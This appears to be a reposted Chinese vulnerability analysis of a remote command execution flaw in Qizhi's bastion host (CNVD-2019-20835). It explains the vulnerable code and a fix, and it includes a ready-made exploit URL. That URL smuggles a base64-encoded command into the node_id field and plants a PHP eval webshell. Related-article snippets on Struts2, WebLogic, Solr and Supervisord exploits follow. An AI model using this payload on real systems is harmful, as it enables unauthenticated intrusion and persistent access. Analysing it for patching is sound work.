齐治堡垒机远程命令执行漏洞(CNVD-2019-20835)分析

一、基本信息

  漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201

  补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。

二、源代码分析

  问题出现在ha_request.php文件,第37行的exec函数,$url为用户可控的变量,可见第33和34行。目光来到第23和24行,只要node_request函数的返回值为“OK”,即可跳过fatal函数(此函数为自定义函数,作用类似PHP内置的exit函数),继续往下执行。

  Node_request函数的定义在include/common.php文件中,见下图2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,$url = "http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));。所以$url变量值类似于http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D这样的字符串。

  但是$req_ipaddr和$req_node_id均来自用户输入。因此,假设10.20.10.11为黑客可控的服务器,listener/cluster_manage.php文件的内容为“<?php echo ‘OK’;>”,即可使得node_request函数返回“OK”,从而跳过fatal函数,继续往下执行来到exec函数。

  回到exec函数,此时该函数的第一个参数是这样的,"wget --no-check-certificate http://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2",所以我们的payload只能放在$req_node_id变量中。

  见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符。

图1

图2

图3

三、漏洞利用

  利用条件:无法登录

  利用过程:

  第一,http://10.20.10.11/listener/cluster_manage.php返回“OK”。

  第二,执行以下链接即可getshell,执行成功后,生成PHP一句话马/var/www/shterm/resources/qrcode/lbj77.php密码10086。这里假设10.20.10.10为堡垒机的IP地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

四、参考及修复建议

1、修复建议

  $node_id的看起来应该是一个整数,所以只需在ha_request.php文件开头,添加以下一行代码,对该变量进行过滤即可。

  $node_id = @intval($req_node_id);

2、参考

  https://www.php.net/manual/en/function.exec.php

  https://www.anquanke.com/post/id/84920

原文地址:https://www.cnblogs.com/StudyCat/p/11256944.html

时间: 2024-10-04 18:01:25

齐治堡垒机远程命令执行漏洞(CNVD-2019-20835)分析的相关文章

struts2远程命令执行漏洞S2-045

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵,漏洞评级为:高危. 漏洞详情:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令. 风险等级:高风险. 漏洞风险:黑客通过利用漏洞可以实现远程命令执行. 影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2

堡垒机世界的征战之尚思卓越堡垒机VS齐治堡垒机

尚思卓越堡垒机(之前行内又称"尚维堡垒机")是由尚思卓越(北京)科技有限公司研发直营品牌产品,历经10余年的研发更新,客户群体遍布各行各业,尚思卓越企业一直保有着市场优质堡垒机供应商的口碑,并有着多家忠实客户沿用产品至今,被誉为堡垒机行业的领军者.齐治堡垒机是由浙江齐治科技股份有限公司研发销售产品,自诩全世界第一台运维操作风险控制系统(堡垒机)的发明者,自言运维操作领域的创造者,在此不讨论可信度问题,但有些许言过其实成份.尚思卓越企业与齐治企业的最大区别在于,尚思卓越企业初期低估了当今

【知道创宇404实验室】Oracle WebLogic远程命令执行漏洞预警

2019年04月17日,国家信息安全漏洞共享平台(CNVD)官方发布安全公告 http://www.cnvd.org.cn/webinfo/show/4989 称Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞,***者可利用该漏洞,可在未授权的情况下远程执行命令.随后知道创宇404实验室启动应急流程,通过分析后复现了该漏洞并确定该漏洞影响启用了wls9_async_response.war及wls-wsat.war组件的所有Weblogic版本(包括最新版本

&quot;Java 反序列化&quot;过程远程命令执行漏洞

一.漏洞描述 国 外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使用了 Apache Commons Collections 这个库,并且都存在一个序列化对象数据交互接口能够被访问到.针对每个应用,博文都提供了相应的分析和验证代码来说明 Java 应用存在远程命令执行的普遍性. 二.漏洞危害 机器上一旦有使用上述应用,即处于“裸奔”状态,黑客可随时利用此漏洞执行任意

Apache SSI 远程命令执行漏洞

漏洞原理:在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件.如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令. 漏洞复现:shtml包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取.分析以及修改.正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件: <!--#exec cmd="

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行. 参考文章:https://xz

CVE-2019-0193 远程命令执行-漏洞复现

0x01 漏洞简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行. 0x02 环境搭建 我这里使

Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务.在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问.利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码. 影响版本:Supervisor 3.1.2 <= Version <= 3.3.2 已修复版本:Supervisor 3.3.3.Super

Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. 解决方案 向ActionMessage传递原始消息时使用类似下面的资源键值,不要